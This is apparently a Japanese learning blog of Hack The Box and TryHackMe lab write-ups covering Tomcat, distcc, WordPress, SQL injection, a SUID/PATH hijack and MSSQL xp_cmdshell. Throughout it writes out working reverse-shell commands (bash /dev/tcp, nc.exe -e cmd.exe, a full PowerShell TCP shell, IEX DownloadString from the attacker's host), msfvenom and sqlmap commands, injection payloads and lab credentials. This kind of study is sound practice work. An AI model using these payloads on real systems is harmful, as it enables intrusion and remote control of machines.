ただのメモです

Writeupなら他のブログ見たほうがいいと思います.

Jerry writeup

まずnmapから

f:id:F-Ryu:20210618204145p:plain

httpサーバーのみ。次にgobuster、niktoで事前調査。

f:id:F-Ryu:20210618204251p:plain

f:id:F-Ryu:20210618204325p:plain

いくらか興味深いページが見られるがページにアクセスしてみる。

f:id:F-Ryu:20210618204358p:plain

どうやらターゲットはTomcatを使用しているようだ。事前調査で気になったページを見ていると/manager/htmlで認証を要求された。StartingPointと違って前のパスワード等はない。

f:id:F-Ryu:20210618204551p:plain

Tomcatについて調査しているとHackTrickのサイトにmetasploitのモジュールが載っていた。これを使用してみる。

auxiliary/scanner/http/tomcat_mgr_login

book.hacktricks.xyz

f:id:F-Ryu:20210618204756p:plain

tomcat/s3cret でログインできたページを探すとファイルをアップロードできる箇所がある。ここでリバースシェルをアップロードできるはずだ。下記サイトからtomcatに上げるWARファイルのリバースシェルのペイロードを探すと

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war

github.com

f:id:F-Ryu:20210618204836p:plain

f:id:F-Ryu:20210618205116p:plain

これをアップロードしてシェルのアドレスにアクセスするとリバースシェルが得られた。ちなみにアドレス自体はページに表示される。

f:id:F-Ryu:20210618205225p:plain

f:id:F-Ryu:20210618205234p:plain

f:id:F-Ryu:20210618205244p:plain

アクセスして権限を見てみると最初からrootだった。

f:id:F-Ryu:20210618205308p:plain

 

Lame Writeup

まずnmapから

f:id:F-Ryu:20210615160039p:plain

ftp ssh sambaが開いています。ftpにアクセスしてみても特にファイルはありません。sambaもめぼしい情報がありません。今度は少し範囲を広げてnmapで検索してみます。すると

f:id:F-Ryu:20210615160204p:plain

distccが開いています。これを検索してみるとmetasploitで侵入できるとありました。

book.hacktricks.xyz

metasploitで検索してみると見つかりました。これを以下のように設定しましょう。

f:id:F-Ryu:20210615160430p:plain

f:id:F-Ryu:20210615160359p:plain

するとdaemonというユーザー名でシェルが得られました。

次に特権昇格を試みます。まずターゲット内を探してみますがめぼしい情報はありません。ftp sambaのファイルにも何もありません。

linpeasをダウンロードして検索してみましょう。すると

f:id:F-Ryu:20210615160616p:plain

nmapにrootのSUIDが設定されていることが分かりました。以下のサイトから

gtfobins.github.io

nmapを検索すると特権昇格できるコマンドが見つかりました。

f:id:F-Ryu:20210615160839p:plain

 

[別解]sambaの脆弱性をつく

 なおnmapの結果からsambaOSの脆弱性をつくことができます。上のsambaバージョンで検索してみるとsploitを見つけることができます。

f:id:F-Ryu:20210615160940p:plain

f:id:F-Ryu:20210615161028p:plain

f:id:F-Ryu:20210615161040p:plain

 sambaの場合rootで接続できます。

Shield -Starting Point- Writeup

 まずnmapから

f:id:F-Ryu:20210606170957p:plain

 httpとmysqlサーバーが稼働しています。まずサイトにアクセスすると

f:id:F-Ryu:20210606171044p:plain

 windows公式のサイトでしょうか。試しにwelcomeを押しても別の公式サイトに飛ばされます。gobusterを使って調べてみましょう。

f:id:F-Ryu:20210606171159p:plain

 wordpressがあるようです。アクセスしてみると

f:id:F-Ryu:20210606171256p:plain

 自動車?のブログのようです。サイトを見てみるとblogのページがあり、さらにloginページが見つかります。

f:id:F-Ryu:20210607105424p:plain

ここで今までのboxで手に入れたパスワードを使ってみるとadmin:P@s5w0rd!でログインすることができました。

f:id:F-Ryu:20210607105444p:plain

 ユーザーネームとパスワードが揃ったのでmetasploitでリバースシェルを得ることができます。msfconsoleを起動しwordpress admin shellで検索して、use 0で使います。

f:id:F-Ryu:20210607105629p:plain

 以下のように設定(それぞれsetで設定しましょう)

f:id:F-Ryu:20210607105725p:plain

f:id:F-Ryu:20210607105803p:plain

成功しました!対象がwindowsなのでリバースシェルを得るためにnc.exeをアップロードします。https://github.com/int0x33/nc.exe からダウンロードし解凍、nc.exeをダウンロードフォルダに入れます。

 次にmsfconsoleでnc.exeがあるフォルダを設定しターゲットにアップロードします。その後ターゲットでnc.exeを起動します。別ターミナルでncしておくのを忘れないようにしましょう(なおポートはnc.exeのデフォルト)。これでリバースシェルが得られます。

 lcd /home/ユーザー/Downloads

 cd C:/inetpub/wwwroot/wordpress/wp-content/uploads

 upload nc.exe

 execute -f nc.exe - "-e cmd.exe <自分のIP> 1234"

f:id:F-Ryu:20210607110014p:plain

 次に特権昇格を狙いましょう。msfconsoleでsysinfoすると

f:id:F-Ryu:20210607110549p:plain

 どうやら古いバージョンを使用しているようです。これをもとにexploitを探すとjuicy_potato(https://github.com/ohpe/juicy-potato/releases)というものが見つかります。これを使用しましょう。githubからダウンロードし名前を変更します(ターゲットのwindows defenderではじかれるため)。先ほどのnc.exe同様にアップロードして

f:id:F-Ryu:20210607110944p:plain

 ターゲットでリバースシェル用のスクリプトを作成。

f:id:F-Ryu:20210607111006p:plain

 f:id:F-Ryu:20210607111112p:plain

 さらに別ターミナルでポート1111(juicypotatoのデフォルト)を開きターゲットでjuicypotatoを起動します。すると

f:id:F-Ryu:20210607111247p:plain

root権限が得られました!デスクトップからroot.txtを入手できます。

 

 

ブログを作成するにあたり公式walkthroughと下記サイトを参考にしました。

github.com

Vaccine -Starting Point-Point-

 まずnmapから

f:id:F-Ryu:20210601180728p:plain

 ftp/21 ssh/22 http/80のポートが開いています。全ポートも検索しましたが特に追加の情報はなし。まずhttpサイトにアクセスしてみます。

f:id:F-Ryu:20210601180921p:plain

 ログイン画面が出てきました。ソースコードに情報なし、単純なパスワード(admin/password admin/passwd)も前回で使ったパスワードも通りません。niktoやgobusterもめぼしい情報はなし。

 次にftpサーバーに接続してみます。パスワードはOopsieのルートをとった際に手に入れたユーザー情報(ftpuser/mc@F1l3ZilL4)を使用します(Oopsieのwalkthrough参照)。

f:id:F-Ryu:20210601181258p:plain

f:id:F-Ryu:20210601181402p:plain

 backup.zipのみで、他にできることもなかったのでgetで入手。解凍しようとするとパスワードが要求されました。単純なパスワードも今までのパスワードも通りません。そこでJohn the Ripperでパスワード解析を行います。

 zip2john backup.zip > hash.txt

 john hash.txt

f:id:F-Ryu:20210601181557p:plain

 下から4行目の741852963がパスワードです。ちょうどテンキーの7から縦に進んでいくだけですね。このパスワードを使って解凍するとindex.phpとstyle.cssが手に入りました。cssには情報なし、index.phpを開くと

f:id:F-Ryu:20210601181933p:plain

 username/adminとpasswordが表示されています。パスワードをよく見てみるとmd5とあるのでmd5でデコードします(適当に検索して出たサイトを使いました)。するとqwerty789と出ます。ログイン後次のようなページが出てきます。

f:id:F-Ryu:20210601194531p:plain

 検索した文字が含まれる名前が抽出されます。例えばaと入力すると
 http://10.10.10.46/dashboard.php?search=a

f:id:F-Ryu:20210601195031p:plain

 つまりsearchパラメータを通じてデータベースに渡していると考えられます。またburpsuiteでサイトを見てみるとクッキーを使用しているのが分かります

f:id:F-Ryu:20210601195551p:plain

sqlmapを使いsqlインジェクションがあるか見てみましょう。

python3 sqlmap.py -u http://10.10.10.46/dashboard.php?search=a --cookie=[cookie] --os-shell

f:id:F-Ryu:20210601195815p:plain

f:id:F-Ryu:20210601195828p:plain

一番下の行PostgreSQLだと判明しました。--os-shellを付けることでreverseshellのコマンドを入力できます。

別のbash: sudo nc -lvnp 4444

python3 sqlmap.py -u http://10.10.10.46/dashboard.php?search=a --cookie=[cookie] --os-shell

f:id:F-Ryu:20210601200632p:plain

bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'を入力すると

f:id:F-Ryu:20210601200642p:plain

無事侵入できました。しかし使ってみるとわかりますが一定時間がたつと切断されてしまい、調査には不便です。まずはユーザーの情報を探してみます。ここでは2通りの方法で探し出すことができます。

ssh接続

 cat ~/.ssh/id_rsaを使うと秘密鍵が閲覧できます。これをコピーし秘密鍵を作成後(chmod 600 id_rsaとしないと秘密鍵が機能しません)、ssh接続でログインできます。

 ssh -i id_rsa postgres@10.10.10.46

②パスワードを探す

 先ほどログインしたサイトに何かデータがないか探ってみましょう。すると

f:id:F-Ryu:20210601202200p:plain

f:id:F-Ryu:20210601202218p:plain

postgresのパスワードを入手できました。このパスワードを使ってssh接続でログインできます。

 では最後にrootを狙いましょう。ますsudo -lをすると

f:id:F-Ryu:20210601202935p:plain

/bin/vi /etc/postgresql/11/main/pg_hba.conf 

つまりpg_hba.confをviで見るときはroot権限なしで見られるということです。よって

/bin/vi /etc/postgresql/11/main/pg_hba.confでviを開いた後

:shell もしくは :!/bin/bash

でシェルに戻ることでroot権限が得られます。

 

番外編 sqlmapを使わずにsql injection 

 公式のwalkthroughではsqlmapを使用していましたが、手動でも可能です。まず検索欄に特殊文字(' " # % etc)を入れてみると

f:id:F-Ryu:20210604213114p:plain

このようなエラーが出て、SQL injectionがあると判明しました。

まずUNION Attackで情報を集めます。まず' ORDER by 1-- からエラーが出るまで1ずつ増やしていきます。すると6でエラーがでます

f:id:F-Ryu:20210604213404p:plain

つまりカラム数が5であると判明しました。次にこのカラム数をもとに

' UNION SELECT NULL,NULL,NULL,NULL,NULL--

 

このNULLの一つを'a'に置き換えて検索していくと1~4で反応が見られました。

この記事を書くにあたって以下のwriteupを参考にさせていただきました。

f:id:F-Ryu:20210604213929p:plain

(' UNION SELECT NULL,'a',NULL,NULL,NULL--)

Nameにaが表示されています。つまり1~4のカラムに何かしらの情報を表示させることができそうです。例えば' UNION SELECT NULL,version(),NULL,NULL,NULL--とすると

f:id:F-Ryu:20210604214220p:plain

このようにversionが表示されます。postgre 11.5のようですね。下記の記事に

medium.com

postgreSQL 9.3以降のコマンドインジェクションが載っています。この通りに実行すればSQLMAP同様にリバースシェルを得ることができます。

 

 

 

この記事を書くにあたって以下を参考にさせていただきました。

github.com

Oopsie -Starting Point- Writeup

 まずnmapでサービスを調べます。

 nmap -sC -sV 10.10.10.28

また他のポートもopenである可能性があるので全ポート検索します。とても時間がかかるので別の調査と並行してやるのをおすすめします。

 nmap -sC -sV -A -p- 10.10.10.28

結果が

f:id:F-Ryu:20210525211354p:plain

f:id:F-Ryu:20210525211414p:plain

 sshとWebサーバーがopenしてますね。対象のサイトにアクセスしてみると、自動車会社(?)のようなサイトでした。Ctrl+U(curlでも可)でソースコードを見ても重要そうな情報はありません。下にスクロールすると

f:id:F-Ryu:20210526075134p:plain

 ログインしてくださいと書いてありますが、ログイン画面が見当たりません。

 もう少し情報を集めてみましょう。gobusterとniktoを使います。

 gobusterはWebサーバーにブルートフォースを実行し対処のURIサブドメインを見つけるツールです。common.txtは自分のディレクトリに置き換えてください。

 gobuster dir -u http://10.10.10.28/ -w /usr/share/dirb/wordlists/common.txt

github.com

f:id:F-Ryu:20210525213214p:plain

 index.php(対象のサイト)のみアクセスできるようです。

 次にniktoを使います。niktoは対象の脆弱性をリストアップしてくれます。

 nikto -h http://10.10.10.28

f:id:F-Ryu:20210525213543p:plain

 下から3行目cdn-cgi/loginがあります。

f:id:F-Ryu:20210526224420p:plain

こちらはburpsuiteです。同様にcdn-cgi/loginが確認できます。

loginページにアクセスしてみましょう。

f:id:F-Ryu:20210526075912p:plain

 次にパスワードですが、ここで詰まりました。ありがちなパスワード(admin/passwd)を試してもログインできません.。

 ここで断念して公式のwriteupを確認してみると前回のArchetypeのパスワードMEGACORP_4dm1n!!でログインできるようです。下部のメールアドレスがヒントでしょうか?

 ともあれadmin/MEGACORP_4am1n!!でログインが成功しました。ソースコードには情報なし、サイトを見回ってみると

f:id:F-Ryu:20210526080431p:plain

 upload機能は制限されておりsuper_adminユーザーではないことがわかります。

f:id:F-Ryu:20210526080409p:plain

accountページから現在のアカウントを確認できました。Access IDは認証辺りで使っている可能性がありそうです。試しにBurp Suiteでリクエストをのぞいてみましょう。

f:id:F-Ryu:20210526233910p:plain

Cookieを見てみると先ほどのページのAccount IDと現在の権限が確認できます。つまりsuper adminのAccount IDが分かればuploadのページにアクセスできそうです。

 ここでaccountのURLに注目すると

 http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1

このidの値を順に変えてみるとid=4で別ユーザーのアカウントが出てきました。

f:id:F-Ryu:20210526224102p:plainさらに番号を変えていけばsuper adminにたどり着けるかもしれません。しかし手動でやるのはあまりにも面倒です。そこでburpsuiteのintruderを使います。 

 

f:id:F-Ryu:20210526233528p:plain

 intruderのidを変更したいのでaccounts,34322,adminの$を取ります。次にpayloadを開いて次のように設定し、start attackを押します。(公式では1~100の番号をtxtに保存しそれを読み込ませることで入力しています)

f:id:F-Ryu:20210531193913p:plain


すべてStatus200がでますがAccountページだけサイズが違うので判別は容易です。id=30を見ると86575がsuper adminのIDだとわかります。

f:id:F-Ryu:20210526235256p:plain

 これでuploadのページにアクセスできます。burpsuiteからuploadsのリクエストを開き、cookieに先ほどのアカウントIDを入力してみると

f:id:F-Ryu:20210526235956p:plain

f:id:F-Ryu:20210527000007p:plain

成功です!

 これでphpリバースシェルをアップロードし、そのページにアクセスすることでリバースシェルが得られるはずです。リバースシェルはkaliやparrotであれば/usr/share辺りにあります。

 reverseshellを自分のipアドレスに変更、ポートをリバースシェルをリッスンするものに変更してアップロードします。

f:id:F-Ryu:20210531194027p:plain


またアップロードする際、クッキーが元のadminに戻ってしまうのでsuper adminの値に変えてからアップロードしてください。

f:id:F-Ryu:20210531122019p:plain

 アップロード先はgobusterで見つけたuploadsフォルダなので

  sudo nc -lvnp 1234

 その後

  curl http://10.10.10.28/uploads/php-reverse-shell.php

 とすると

f:id:F-Ryu:20210531122712p:plain

 成功しました!

まずはサイトにデータがないか探ってみましょう。/var/www/htmlにサイトのデータがあります。loginを見てみるとdb.phpというファイルがあります。試しにcatで開いてみると

f:id:F-Ryu:20210531123650p:plain

別ユーザーの名前とパスワードが見つかりました。suで切り替えができますが、以下のメッセージが出て切り替えができません。

f:id:F-Ryu:20210531192203p:plain

 つまり対話型シェルを作成する必要があります。(なおこのパスワードを利用してsshで接続できるので面倒な場合はその方法でも可)。

 SHELL=/bin/bash script -q /dev/nullの後Ctrl-Zで一度ncをバックグラウンドにします。stty raw -echoの後入力が見えなくなりますがfgと打ちreset、次にシェルの種類を聞かれるのでxtermとすると

f:id:F-Ryu:20210531200509p:plain

f:id:F-Ryu:20210531200812p:plain

まずはsuでユーザーを切り替えidで権限を見てみます。すると

f:id:F-Ryu:20210531201214p:plain

bugtrackerというグループが気になりますね。bugtrackerを探して実行してみるとidの入力が求められます。試しに適当な数字を打つと

f:id:F-Ryu:20210531201517p:plain

どうやら入力したIDで何かしらの出力が出るようです。試しに100を入力すると

f:id:F-Ryu:20210531201733p:plain

 catと出ていますね。つまりcatと入力したIDを利用してrobertの権限ではアクセスできないレポートを表示していると考えられます。ここから以下2通りの方法があります。

①入力でとる

 hack the boxのルートにあるフラグはroot.txtの形式になっています。つまり入力でroot.txtを参照するコマンド../root.txtを入力すればフラグが表示されます。

 

②catを悪用する

 bugtrackerはcat /rootを参照できる、つまりroot権限を持っています。また実装もcatを直接利用するものなので悪意のあるcatコマンドを作成すればいけそうです。

f:id:F-Ryu:20210531203721p:plain

 まずexport PATH=/tmp:$PATHでコマンドを実行する際tmpを参照するよう設定します。次に/tmpファイルにbashを実行するように設定したcatコマンドを作成します。

f:id:F-Ryu:20210531204803p:plain

最後にchmod +x catで実行権限を与えbugtrackerで実行すると

f:id:F-Ryu:20210531204841p:plain

root権限が得られました!ちなみにroot.txtはcatできないので(自作したcatが先に実行されるため)moreやlessで確認できます。

Archetype -Starting Point- Writeup

 Hack The BoxのArchetypeに挑戦しました。なお私はHackTheBoxのPwnBoxを使用しているので、所々勝手が違う箇所があります。参考にする場合はその点に気を付けて下さい。 

 まずnmap用いてターゲットでサービスを調べます。ちなみに

-sC[デフォルトスクリプト] -sV[バージョンを検出する]  オプションを使用しています。

 

f:id:F-Ryu:20210524225034p:plain

 f:id:F-Ryu:20210524224952p:plain 

 

 msrpc・netbios_ssn・microsoft-ds・ms-sqlが稼働しています。それぞれファイル共有システム(SMB)、SQLサーバーのようです。

 次にSMBにどんなフォルダがあるかを調べてみます。ちなみに

-L[サービス一覧] オプションです。-Nは本来この段階ではつける必要はありません。

 

f:id:F-Ryu:20210524230418p:plain

 

 ADMIN$・backup・C$・IPC$のフォルダが存在し、backupsにアクセスできるようです。smbclient \\\\10.10.10.27\\backupsでアクセスするとパスワードが求められますが、パスワードが設定されていない場合があります。試しにそのままEnterしてみると無事入ることができました。(今回のようにパスワードが不要である場合、-Nオプションを使えばパスワード入力をスキップできます)

 

f:id:F-Ryu:20210524231900p:plain

 

 まずlsしてみるとprod.configファイルがあるのが分かります(smbclientのコマンドはhelpで確認できます)。このファイルをgetで入手して中身を見てみましょう。

 

f:id:F-Ryu:20210524232224p:plain

 

 画像下から4行目にPasswordとUserIDがあります。UserIDにsql_svcとあるように、どうやらms-sqlサーバーのIDですね。

 mssqlサーバーに入るにはpowershellを使用するか、Linuxであればimpacketというwindowsネットワークプロトコルを扱うpythonクラスがあります。私が使っているpwnboxにはデフォルトで入っていますが、もし自身が使っているVMに入っていない場合はimpacketからダウンロードしてください。

 

f:id:F-Ryu:20210524234830p:plain

 

公式のwalkthroughではimpacketのmssqlclient.pyを使用しています。使用方法は

 mssqlclient.py  [ domain/ ]  username [:password] @ <ターゲット名 or IP>

(で囲った箇所はなくてもOKです)。今回の場合

 python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

となります。またオプションとして以下を使用します。 

 -windows-auth Windows認証をするかどうか(デフォルトはFalse)

 

 impacketについて詳しく知りたい場合は下記サイトがおすすめです。

www.puckiestyle.nl

 

f:id:F-Ryu:20210524235222j:plain

 

 まず権限を確認してみましょう。SQLサーバーなのでSQLのIS_SRVROLEMEMBER関数を使用して権限を確認します。

 SELECT IS_SRVROLEMEMBER('sysadmin')

で確認することができます。

 

f:id:F-Ryu:20210524235827p:plain

 

 IS_SRVROLEMEMBER関数は0,1,NULLのいずれかを返し、1であれば権限を持っているという意味です。上記の結果からsqlサーバーにおいてadmin権限を持っていることがわかります。admin権限であればxp_cmdshellを使用してpowershellコマンドを入力することができます。

 今回xp_cmdshellはそのまま使用できましたが、設定によってはできない場合があります。その場合、

 EXEC sp_configure 'Show Advanced Options', 1;
 reconfigure;
 sp_configure;
 EXEC sp_configure 'xp_cmdshell', 1
 reconfigure;

でxp_cmdshellを使用できます。

 次にxp_cmdshellを利用してwhoamiしてみると

 

f:id:F-Ryu:20210525000716p:plain

 

 ターゲットのroot権限ではないことがわかりました。リバースシェルで接続する必要があります。今回はリバースシェルスクリプトを自分のhttpサーバーからダウンロードさせ、スクリプトを実行する方法でやってみます。

 まずリバースシェルのスクリプトを作る必要があります。下記のshell.ps1スクリプトを作成し、デスクトップではなく Home/<User> >のフォルダに入れてください。

 

shell.ps1

 

$client = New-Object System.Net.Sockets.TCPClient("<自分のIP>",<ポート>);$stream = $client.GetStream();[byte]$bytes = 0..65535|%{0};while*1 -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

 

ちなみにスクリプトの詳細やwindowsのリバースシェルは下記サイトが詳しいです。

kakyouim.hatenablog.com

www.labofapenetrationtester.com

 

 スクリプトを作成した後pythonでHTTPサーバーを立ち上げます。私の場合ポート80

がすでに使用されていたのでポート8000を利用しました。

 python3 -m http.server 8000

 LIstening on 0.0.0.0 port の表示が出たら成功です。そのままつなげておきましょう。次に先ほどのスクリプトで指定したポートでターゲットからの接続を待ちます。

 sudo nc -lvnp 443

 最後にファイアウォールの設定をします。ufwで設定したポートであるhttpサーバー(8000)とncのポート(443)での接続を許可します。これがないと接続できない場合があります。

 sudo ufw allow from 10.10.10.27 proto tcp to any port 443,8000 

 準備ができたらターゲットのmssqlサーバーで

 xp_cmdshell "powershell "IEX (New-Object  Net.WebClient).DownloadString(\"http://10.10.14.7:8000/shell.ps1\");"

を実行します(ポート80でhttpサーバーを立ちあげる場合ポート部分は不要)。下図がこれらを実行する前と後の様子です。

 

f:id:F-Ryu:20210525004502p:plain

 左がターゲットのmssqlサーバー、右上がリバースシェル、右下がhttpサーバー

 成功すると

f:id:F-Ryu:20210525004522p:plain

f:id:F-Ryu:20210525175047p:plain

 このようになります。まずはuser.txtを確保しましょう。user.txtはデスクトップにあります。

f:id:F-Ryu:20210525175505p:plain


 type user.txtでファイルの中身を見ることができます。

 次に特権昇格をしてroot.txtを狙います。

book.hacktricks.xyz

 このサイトを参考にpowershellの履歴を見てみましょう。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

 これを実行すると

f:id:F-Ryu:20210525180037p:plain

  rootユーザーのパスワードが手に入りました。先ほどのimpacketにあるpsexec.py(シェルを利用できるpythonクラス)とこのパスワードを利用してアクセスしてみましょう。

 psexec.py <ユーザー名>@windowsIP (パスワード入力は後)

 

f:id:F-Ryu:20210525181034p:plain

 無事アクセスすることができました。user.txtと同じ要領でAdministratorのDesktopからroot.txtを入手できます。

*1:$i = $stream.Read($bytes, 0, $bytes.Length

TryHackMe Pickle Rick Writeup

THMのPickle Rickに挑戦しました。解法はほかの方を見たほうがいいと思います。

 

0.どこまで試行したか

 まずNmapを用いて開かれているポートを検索。するとssh(port:22)とHTTP(port:80)が開いている状態であった。まずはサイトのほうにアクセスしてみる。

 サイト自体は入力欄もない普通のサイト。まずはソースコードを使用して何か情報がないか見てみると下部にusernameが書かれていた。ここで先ほどのsshが頭に浮かび、先ほどのuserで接続してみる。しかしpublickeyエラーが出て接続することができない。

 この辺りで20分が経過しBoxの寿命もあるのでここで断念。フラグを得ることはできなかった。

 

1.First Flag

HTB Academyで学習したことをすっかり忘れていたが、ターゲットがWebアプリケーションやサイトである場合、まずgobuster/dirbuster/niktoを用いて他のページがないかチェックするのを優先すべきだった。

 教訓:ターゲットはサイト? → gobuster/dirbuster/nikto !

 

 dirbuster/niktoの結果を見ると、assets/login.php/robots.txtにアクセスできるようだ。まずrobots.txtを見ると何かよくわからない文字列がある。おそらくこれがパスワードだろう。login.phpソースコードのuserと先ほどのパスワードを入力すると無事ログインできた。

 ログインすると検索欄があるページに飛ばされた。見た感じどうやらコマンドを入力するらしい。まずlsを入力するとflagっぽいtxtファイルがある。試しにcatで見ようとすると変なgifが出てきてはじかれる。そこでURLにそのtxt名を入力すると無事表示された。もしくはlessを使うと同様にみられる。

 

余談:lessはディレクトリの指定が必要

 

2.Second Flag

 コマンドを入力できるならリバースシェルができるはず。writeupによってコマンドは違うが、payloadsAllTheThigsやpentestmonkeyやGTFObinsからいくつか拾ってきて入力すると無事に接続できた。筆者はperlスクリプトを用いた。

  教訓:リバースシェルはいろいろ試してみるべき

 

 侵入後/homeをlsしてみるとubuntuとrickのフォルダがある。rickフォルダのなかにフラグが用意されているので、これをcatで見ると2つ目のフラグ入手.

 教訓:システムを見る場合、まず他のuserを見てみる 

 余談:ファイルに空白がある場合、「¥」を使うと空白を表現できる

    もしくは' 'を使ってみる

 

3.Final Flag

 最後のフラグはrootフォルダの中にある。これまた忘れていたが侵入後sudo -l をして今の権限で何を入力できるかを調べるべきだった。sudo -l するとNO PASSWD つまりrootでなくても全コマンド権限を持っている。

 あとはお好きな方法でrootに昇格できる。

 (sudo su , sudo bash -i ,sudo ls /root → sudo less /root/<target>)

 教訓:侵入したらまず特権昇格できないかを考える

 

4.結論

・ターゲットIPが何者か調べる

・何らかのwebアプリかサイトの可能性あり dirb/nikto/gobusterでファジング

・結果からページにアクセスしてみる

・何らかの方法でリバースシェルできないか試みる

 (ターゲットでperl/pythonが使えないか調べる等)

・接続出来たら権限を見てみる 昇格できないか試みる

・他ユーザーのディレクトリやrootディレクトリを見てみる